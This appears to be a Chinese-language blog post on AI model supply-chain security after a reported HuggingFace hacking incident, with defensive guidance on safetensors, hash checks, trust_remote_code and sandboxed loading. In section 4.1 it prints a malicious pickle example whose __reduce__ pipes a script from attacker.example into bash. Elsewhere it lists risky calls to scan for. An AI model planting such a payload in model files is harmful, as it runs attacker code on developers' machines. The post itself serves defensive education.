
如果你在本地跑过模型大概率做过这样一件事pip install transformers然后调用from_pretrained(某个模型名)权重自动下载几行代码跑通推理。整个过程太顺滑了以至于很少有人会停下来想一个问题如果这个模型仓库里的文件被人调包你加载的不是权重而是一段恶意代码会发生什么METR 和 Redwood Research 最近发布了一份关于 HuggingFace 黑客事件的详细复盘报告把这个问题重新摆到了台面上。很多人看到“HuggingFace 黑客事件”第一反应是“平台又被攻击了”但真正值得关注的并不是某一次漏洞利用而是 AI 模型供应链上“默认信任”的崩溃。模型仓库、代码托管、依赖安装、Token 权限这些环节单独看都有保护串起来之后就变成一条可以被系统化攻击的链路。这篇文章不会去复述报告里的每一个时间点而是把事件背后的安全原理拆开讲清楚这几个问题为什么模型仓库会成为攻击目标攻击者到底利用了哪些“合法”机制作为普通开发者下载和加载模型时应该守住哪些底线如果你正在用 HuggingFace 做模型部署或日常实验这篇文章值得读完并建议直接收藏。1. 这份复盘报告真正要回答的问题METR 和 Redwood 并不是普通的安全公司。METR 长期关注 AI 模型的风险评估和校准Redwood Research 则在 AI 对齐和安全研究上有很深积累。这两家机构联合复盘一个具体的黑客事件视角必然不是“哪个 CVE 打了补丁”而是“整个 AI 开发范式里哪些默认行为是危险的”。从公开信息和行业讨论来看报告真正要回答的核心问题是当一个 AI 开发者从公共模型仓库拉取权重和代码时他凭什么相信自己拿到的东西是安全的这个问题听起来很基础但实际答案比想象中悲观。HuggingFace 的生态高度依赖社区信任任何人可以上传模型、数据集和镜像仓库上传者甚至可以修改已有仓库的内容。平台提供文件校验和、作者身份、下载量这些信号但在一个计算资源、精心构造的恶意文件面前这些信号很容易被伪造或者绕过。报告没有简单地把责任推给平台而是把事件拆成三个视角平台视角基础设施的访问控制是否到位恶意内容为什么能在审核之前被分发。开发者视角开发者在本地加载模型时是否了解代码会在自己机器上执行到什么程度。生态视角一个模型被投毒影响范围可能不是单个用户而是整个产业链上所有使用该模型的人。这个视角转换很重要。过去我们谈论软件供应链安全说的是 npm 包、PyPI 包、容器镜像现在 AI 模型也成了软件供应链的一部分而且风险更大。原因是模型文件包含的不仅是权重还有代码、tokenizer、配置文件、预处理脚本每一个文件都有可能在加载阶段触发代码执行。所以这篇复盘报告不只是给安全工程师看的算法工程师、后端开发、MLOps、数据工程师都应该读一遍。因为大家每天都在执行的那句from_pretrained背后可能藏着一个你完全没有意识到的攻击面。2. 基础概念HuggingFace 仓库里到底有什么要理解这次事件得先弄清楚 HuggingFace 仓库的本质。它表面上是一个“模型下载站”但实际结构比下载站复杂得多。一个典型的模型仓库通常包含这几类文件文件类型作用风险等级模型权重文件PyTorch 的.bin/.pt或 SafeTensors 的.safetensors高取决于加载方式配置文件config.json、generation_config.json低但可被篡改分词器文件tokenizer.json、tokenizer_config.json中某些字段会触发外部读取代码文件modeling.py、configuration_*.py极高加载时可能被直接执行仓库元数据README.md、.gitattributes、模型卡片低多用于身份伪造这里最容易出问题的是两类文件。第一类是权重文件。过去 PyTorch 生态里最常见的权重格式是.bin它的本质是pickle序列化数据。pickle的问题在于反序列化过程中允许执行任意 Python 代码。也就是说一个恶意构造的.bin文件在torch.load()执行的那一瞬间就能在本地机器上运行攻击者指定的命令。这是“反序列化漏洞”也是模型领域最经典的攻击手法。第二类是代码文件。HuggingFace 的transformers库为了支持各种自定义模型结构提供了一套“远程代码”机制。当你加载某个模型时如果配置里写了auto_map字段库会从仓库下载对应的 Python 文件并导入执行。这个能力在默认情况下是关闭的必须显式传入trust_remote_codeTrue才会开启。但很多开发者不知道后果要么照抄网上代码要么因为报错干脆直接信任远程代码。所以 HuggingFace 的工作机制可以简化成一句话平台给我们提供的不是“二进制模型”而是一个包含“可执行逻辑”的完整文件夹。安全性取决于你在加载时给了它多少信任。3. 攻击者为什么盯上 HuggingFace这次事件不是个案。近几年模型托管平台的恶意仓库数量一直在上升原因也很直接AI 开发者普遍具有高权限环境而且对“下载完就跑”这件事几乎没有戒心。攻击者盯上 HuggingFace 的理由可以归纳为三点。3.1 高权限环境更容易被利用算法工程师和 AI 开发者的开发机通常配置不低而且很多时候有 GPU、有训练集群的跳板权限、有云平台的 AK/SK、有模型部署平台的 Key。如果攻击者能在一台开发机上执行任意代码最简单的利用方式就是窃取环境变量、扫描~/.ssh、读取本机 Token再横向移动。这个路径和传统攻防里的“拿下一台开发机”没有本质区别但入口变成了一个模型文件。3.2 开发者默认信任公共仓库从 PyPI 上安装一个包我们多少会看一下作者、star 数、更新时间。但从 HuggingFace 下载模型很多人只看名字对不对下载量高不高。问题是下载量和 star 数都可以刷仓库名称也支持 Unicode 字符肉眼很难看出区别。攻击者只需要做一个和热门仓库几乎同名的恶意镜像就可能骗到不小一批用户。3.3 模型文件难以被传统安全设备检测企业安全团队能扫描容器镜像、能检查 npm 依赖但对一个动辄几个 GB 的模型权重文件传统杀软和 SCA 工具很难做内容分析。而且.safetensors这类文件如果被改动光看文件大小看不出来。模型文件天然拥有“免检”特权这让它成了投毒的好容器。把这三个因素结合起来就能理解为什么这次事件会让安全研究机构专门复盘模型仓库的安全问题不是单点失效而是“平台机制 开发者习惯 基础设施盲区”共同叠加的结果。4. 复盘报告中指向的几类典型攻击向量虽然具体攻击链的细节要以报告原文为准但从行业长期观察来看这类事件绕不开以下几种攻击向量。我逐个拆开讲方便你对号入座排查自己项目的风险面。4.1 反序列化投毒.bin和.pt文件是重灾区在 Python 里执行torch.load加载一个模型等于告诉 Python把这个文件里的所有内容还原成对象。pickle协议在还原对象时会查找对象对应的类并允许通过__reduce__指定一个可调用对象和参数。攻击者只要精心构造 pickle 数据就能让反序列化过程变成“命令执行”。一个典型的恶意权重文件可能长这样# 攻击者视角的恶意 pickle 构造示例仅用于理解原理 import pickle import os class Exploit: def __reduce__(self): return os.system, (curl http://attacker.example/shell.sh | bash,) payload pickle.dumps(Exploit()) with open(model.bin, wb) as f: f.write(payload)这个例子是安全教材中用来解释原理的极简版本。实际攻击往往更隐蔽会在保持模型张量可用的同时把恶意代码藏在某个不引人注意的字段里让模型加载后仍然正常但后台已经执行了额外命令。这就是为什么社区这些年一直在推 SafeTensors。SafeTensors 只存储张量二进制数据不包含代码执行能力结构上天然免疫这一类攻击。4.2 远程代码执行被滥用的trust_remote_codetransformers的“远程代码”机制设计初衷很好让社区可以发布自定义结构模型不必等待官方库更新。但它也是一个非常宽的后门。开发者在加载前往往会看到警告代码原文类似The current model class is not supported by transformers. Loading this model requires trust_remote_codeTrue.为了不报错大家直接加一行trust_remote_codeTrue。一旦加了transformers就会执行仓库里的 Python 文件。如果仓库作者是恶意的它可以在modeling.py里写任何代码包括读取本机 SSH Key、上传训练数据、下载木马。这些代码在模型加载阶段运行普通业务监控很难发现。复盘报告里最值得警惕的一点是这种攻击不是“绕过安全机制”而是利用合法的配置项。平台并没有被攻破开发者主动打开了门。4.3 仓库劫持与同名镜像模型仓库的下载链接遵循固定格式开发者很容易通过“改一个短横线”“加一个大小写差异”伪造出误导向的仓库地址。还有一类攻击是直接劫持已有仓库当仓库作者因为各种原因不再维护时攻击者申请成为协作者或者通过社工骗取权限然后上传新的恶意文件。这类攻击的可怕之处在于仓库历史记录里可以看到文件的修改但大多数开发者根本不会去查看完整历史。他们只会看到“这个模型我一直在用”然后默默下载了被替换后的版本。4.4 数据集投毒除了模型文件HuggingFace 还被大量用于托管数据集。数据集投毒不一定要执行代码它可以只是修改少数样本的标签或内容让下游模型训练结果出现偏差。这在安全事件里往往是最难发现的因为模型训练完成后行为偏差会被误认为是模型质量问题。4.5 Token 和凭据泄露很多开发者为了方便把 HuggingFace Token 直接写进环境变量、Jupyter Notebook 或.env文件。一旦机器被攻破Token 就成了第二波扩散的入口。如果 Token 权限设置过宽比如同时拥有读和写权限攻击者可以把恶意文件推到你自己的私有仓库或组织仓库攻击影响面会随着组织信任链进一步扩大。5. 国内开发者下载模型的完整安全操作路径讲完风险回到实践。考虑到国内访问 HuggingFace 的实际情况很多读者会使用镜像站、缓存目录调整或离线下载工具。这部分操作本身没有问题但要注意无论从哪个源下载安全校验流程都不能省。下面给出一个推荐的安全路径。5.1 设置下载源与缓存目录如果你使用镜像站或自定义下载源一般通过环境变量控制。以huggingface_hub为例# 设置下载端点官方源或合规镜像源 export HF_ENDPOINThttps://huggingface.co # 修改模型缓存目录避免默认占满系统盘 export HF_HOME/data/hf_cache # 设置下载超时网络波动时不至于卡死 export HF_HUB_DOWNLOAD_TIMEOUT60如果你希望把缓存单独放在一个目录还可以设置export HUGGINGFACE_HUB_CACHE/data/hf_cache/hub export TRANSFORMERS_CACHE/data/hf_cache/transformers这里要强调一点镜像站只是一个“传输加速层”它不改变文件内容。你从一个不可信的镜像下载到的文件依然需要额外校验。镜像可以解决网络问题但不能解决供应链信任问题。5.2 用snapshot_download只拉你需要的文件很多恶意文件藏在一些不起眼的扩展名里。为了减小风险推荐使用allow_patterns和ignore_patterns控制下载范围# download_model.py from huggingface_hub import snapshot_download snapshot_download( repo_idyour-org/llm-backbone, local_dir./models/llm-backbone, allow_patterns[ *.json, *.safetensors, *.model, tokenizer* ], ignore_patterns[ *.bin, *.pt, *.pth, *.pickle, *.h5 ], )这段代码的核心思路是“白名单优先”。只下载运行必要的配置、分词器和 SafeTensors 权重遇到传统的 pickle 格式权重直接跳过。这样即使仓库里被混入了恶意*.bin它也不会落到你本地。5.3 用safetensors加载权重如果模型只提供.bin建议先转换为.safetensors再使用。转换命令如下python -m safetensors.torch --from-torch model.bin --to model.safetensors如果模型仓库提供 SafeTensors 版本在使用transformers加载时优先指定use_safetensorsTruefrom transformers import AutoModelForCausalLM, AutoTokenizer tokenizer AutoTokenizer.from_pretrained( your-org/llm-backbone, use_safetensorsTrue, ) model AutoModelForCausalLM.from_pretrained( your-org/llm-backbone, use_safetensorsTrue, )use_safetensorsTrue会让transformers优先加载.safetensors文件。万一仓库里只有.bin代码会直接报错而不是偷偷加载这给了你一个检查的机会。5.4 核对文件哈希HuggingFace 仓库页面通常会在模型卡片里列出各个文件的 SHA256 值。下载完成后在本地计算并比对sha256sum ./models/llm-backbone/model-00001-of-00004.safetensors将输出值与模型卡片上的哈希值比对。如果仓库卡片没有提供哈希至少要和官方公告、发布者文档中的信息比对。哈希不一致时坚决不要加载。5.5 对trust_remote_code保持最高警惕原则上能不用trust_remote_codeTrue就不用。如果确实需要加载自定义模型至少做到以下几步先在浏览器里打开仓库中的modeling_*.py文件逐行检查代码。观察代码里是否有os.system、subprocess、requests、eval、exec、socket等敏感操作。如果团队长期使用某个自定义模型建议把它 Fork 到内部仓库由内部审核通过后再使用。只给模型加载进程配置最小权限不要把云平台密钥放在同一个环境变量文件里。下面的代码片段演示了如何先下载远程代码再人工检查而不是直接加载# 先将代码文件单独下载到本地 huggingface-cli download your-org/custom-model --include *.py --local-dir ./custom-model-review检查完代码之后再决定是否使用trust_remote_codeTrue。6. 模型加载阶段的正确姿势模型下载完之后加载阶段同样需要保持警惕。很多攻击是在模型“加载成功”之后才被发现的所以验证不能只做一次。6.1 先验证文件签名再加载权重每次从外部环境拿到模型都要建立一个“先验证、再加载”的思维习惯。在 Python 脚本里可以先用hashlib计算哈希并与预期的 SHA256 比较import hashlib from pathlib import Path expected_sha256 a1b2c3d4e5f67890... # 以模型卡片上的值为准 def get_sha256(file_path: str) - str: sha hashlib.sha256() with open(file_path, rb) as f: for chunk in iter(lambda: f.read(8192), b): sha.update(chunk) return sha.hexdigest() model_file Path(./models/llm-backbone/model-00001-of-00004.safetensors) if get_sha256(model_file) ! expected_sha256: raise RuntimeError(模型文件哈希不匹配已终止加载)这是一个非常简单的方案但能挡住大部分“修改文件后重新打包”的投毒攻击。6.2 使用safe_open直接读取张量如果你不是一定要用transformers只是想做一些权重分析、剪枝或转换可以跳过torch.load直接用safetensors的 API 读取文件from safetensors import safe_open # 安全读取单个张量 with safe_open( ./models/llm-backbone/model-00001-of-00004.safetensors, frameworkpt, devicecpu, ) as f: tensor f.get_tensor(model.layers.0.self_attn.q_proj.weight) print(tensor.shape)safe_open不会加载 Python 对象也不会执行任何代码只负责把张量数据解析出来。这个 API 非常适合要求高安全性的自定义加载流程。6.3 代码执行沙箱化如果团队里确实需要运行远程代码最稳妥的做法是把加载过程放到隔离容器里。比如用 Docker 启动一个只读文件系统、无网络权限的容器模型加载成功后再把权重文件导出到可信目录。docker run --rm -it \ --network none \ --read-only \ -v /data/models:/models:ro \ -v /data/output:/output \ python:3.10 bash在容器内部执行加载脚本避免恶意代码直接进入宿主机网络。这条建议适合团队生产环境个人开发可以先把检查做好再决定要不要上容器。7. 常见问题与排查方法结合 HuggingFace 使用中的常见问题这里整理一个表格方便你快速定位问题。问题现象可能原因排查方式解决方案下载模型卡在某个文件不结束网络不稳定、镜像端限速、大文件超时查看下载日志确认卡在哪个文件设置HF_HUB_DOWNLOAD_TIMEOUT使用断点续传工具或更换合规镜像源加载模型后出现异常网络请求加载了恶意代码或模型配置包含外部资源用strace或tcpdump观察进程网络行为终止进程删除仓库文件审计远程代码本地没有.safetensors只有一个.bin模型仓库未提供 SafeTensors 格式检查仓库文件列表和模型卡片手动转换为.safetensors转换前先校验哈希trust_remote_codeTrue后加载报错远程代码与本地transformers版本不兼容查看完整报错堆栈升级transformers或换成官方实现不要到处加trust_remote_code缓存目录占用系统盘过大HF_HOME未设置du -sh ~/.cache/huggingface设置HF_HOME和HUGGINGFACE_HUB_CACHE到独立数据盘Docker 容器内无法访问 HuggingFace容器网络限制、代理变量未传递检查容器网络模式和代理环境变量使用离线下载方案先把模型下载到宿主机再挂载进容器修改了 Token但老环境还在报 401环境变量缓存或 shell 配置残留printenvgrep HF 检查环境变量如果你在加载模型时遇到文件损坏问题优先检查是不是磁盘空间不足。不要用“重新下载一次”掩盖问题先校验哈希再确认是从可信源下载。8. 团队与生产环境的最佳实践这次复盘报告给企业团队带来的最大价值是把“模型供应链安全”提升到了正式治理议题的高度。对于生产环境建议从下面几个方向建设。8.1 Token 权限最小化给每个机器人和人分配独立 TokenToken 权限按需申请。普通推理服务只需要读权限不涉及发布模型的场景坚决不给写权限。定期轮换 Token并让 Token 有过期时间。8.2 建立内部模型仓加白名单对于企业项目不鼓励所有人从公共 HuggingFace 仓库直接拉模型。可以由平台团队统一审核后把可信模型同步到内部对象存储或内部模型仓库业务开发只允许从内部源加载。这样即使公共仓库发生投毒事件攻击面也被控制在外层。同步模型时要保留哈希和审计信息# 同步到内部空间后记录元信息 huggingface-cli download your-org/llm-backbone --local-dir /data/model-cache/llm-backbone sha256sum /data/model-cache/llm-backbone/*.safetensors /data/model-cache/llm-backbone.sha2568.3 模型加载服务与业务服务隔离不要在一个共享 Python 环境里既跑模型加载又跑业务主进程。推荐把模型推理做成独立服务或者用独立进程加载。这样恶意模型代码即使执行也无法直接获得业务数据。8.4 建立模型来源审计清单仓库作者是否可追溯、下载量是否异常、近期是否有文件更新、代码文件是否经过人工评审、哈希是否匹配这五项应作为引入新模型的默认审核项。可以做成一个脚本在 CI 阶段自动检查。# audit_model.py 片段用于记录模型文件的元信息 import json from pathlib import Path files sorted(Path(./models/llm-backbone).rglob(*)) manifest [] for f in files: if f.is_file(): manifest.append({ path: str(f), size: f.stat().st_size, mtime: f.stat().st_mtime, }) with open(model_manifest.json, w) as out: json.dump(manifest, out, indent2)这种做法不一定能发现所有攻击但能让任何一次模型变更都留痕方便出问题后回溯。8.5 应急回滚预案如果发现某个仓库或模型存在投毒嫌疑要能快速清理所有引用该模型的缓存并从内部仓库摘除。建议提前写好回滚脚本把模型缓存目录和 Token 权限变更纳入生产变更管理流程。9. 结论与行动建议回到 METR 和 Redwood 这份复盘报告的核心判断这次 HuggingFace 黑客事件折射出的不是某一个漏洞而是 AI 开发生态里的“默认信任”正在失效。平台不可能替每一个开发者判断代码是否恶意第三方模型也不可能靠下载量证明自己安全真正的安全边界需要由开发者和组织自己建立。如果你是个人开发者现在可以做的第一步是打开你的模型缓存目录看看里面有没有.bin、.pt、.pickle文件有没有未经审计的.py文件。如果发现问题优先切换到 SafeTensors 格式并停止使用带有远程代码的模型。如果你在团队里负责 MLOps 或基础设施下一步是梳理业务中所有模型来源记录它们的哈希设置 Token 最小权限建立内部模型库把所有公共仓库下载入口收敛起来。报告本身最大的价值不是让你害怕 HuggingFace而是提醒你当模型仓库成为代码供应链的一部分之后安全思维也必须同样升级。